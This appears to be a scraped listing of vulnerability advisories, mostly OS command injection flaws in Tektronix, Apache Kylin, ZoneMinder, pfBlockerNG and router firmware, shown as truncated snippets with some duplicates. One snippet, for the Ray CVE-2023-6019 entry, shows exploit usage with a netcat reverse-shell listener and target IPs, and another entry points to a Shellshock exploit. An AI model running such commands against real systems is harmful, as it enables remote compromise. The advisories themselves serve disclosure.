fortinet-fortiweb-cve-2025-64446-58034

Understanding Fortinet FortiWeb Vulnerabilities CVE-2025-64446, CVE-2025-58034 1. Overview Fortinet FortiWeb is a Web Application Firewall WAF device widely deployed in enterprise systems to protect web applications from common threats. Since FortiWeb typically sits at a central protection layer,...

CVE-2026-67599_ClearOS_RCE

OS Command Injection in Log Viewer Filter Parameter Package: ClearFoundation Tested Versions: ClearOS 7.9.1.342252 Vulnerability Type: OS Command Injection CWE-78 Severity: High CVE : CVE-2026-67599 CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Score: 7.2 Thank you to VulnCheck f...

CVE-2026-111853

An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with...

CVE-2026-111853

Tektronix 3 Series MDO devices running firmware versions before 1.21.1 are susceptible to an OS command injection vulnerability. The flaw resides in the FILESystem:MOUNT:DRIve SCPI command handler , where insufficient neutralization of user-supplied input allows remote attackers to execute arbitr...

CVE-2026-111853

An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with...

EUVD-2026-103206

An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with...

pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection

pfSense pfBlockerNG through 2.1.426 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected. id: CVE-2022-31814 info: name: pfSense pfBlockerNG =2.1..427 to mitigate this vulnerability. reference: -...

Advantech R-SeeNet 2.4.12 - OS Command Injection

Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering...

Wavlink WN535K2/WN535K3 - OS Command Injection

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument starthour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised syste...

CVE-2023-6019

Ray OS Command Injection RCEUnauthorized Usage: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

PT-2026-116193

Name of the Vulnerable Software and Affected Versions Tektronix 3 Series MDO versions prior to 1.21.1 Description An OS command injection issue exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrar...

Linux Distros Unpatched Vulnerability : CVE-2026-102607

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, the exportEvents function concatenates the attacker-controlle...

Linux Distros Unpatched Vulnerability : CVE-2026-110642

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer that allows attackers to execute commands by interpolating unescaped...

SUSE CVE-2026-105841

lrzsz before 0.13.0 contains an OS command injection vulnerability in the lrz receive utility's pipe mode that allows remote senders to execute commands by supplying crafted filenames. When lrz runs under a suffixed name such as lrztar, procheader in src/lrz.c passes the unescaped ZMODEM/YMODEM...

Exploit for OS Command Injection in Gnu Bash

CVE-2014-6271 Shellshock xpl0ited by infrar3dhttps://githu...

CVE-2026-108743

Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. This issue affects Apache...

EUVD-2026-103156

Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. This issue affects Apache...

CVE-2026-108743 Apache Kylin: spark job OS command injection

Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. This issue affects Apache...

CVE-2026-108743

Apache Kylin versions 4.0.4 through 5.0.4 are vulnerable to an OS Command Injection (CWE-78) vulnerability. The root cause is the improper neutralization of special elements used in an OS command, specifically related to spark jobs . This issue primarily impacts Kylin services directly exposed to...

CVE-2026-102608 ZoneMinder: Authenticated OS Command Injection via unsanitized Monitor Name in event export (download_functions.php)

ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, downloadEvents manually wraps a monitor Name value in single quotes instead of using escapeshellarg before placing it in shell commands when a user with monitor-create or monitor-edit permission...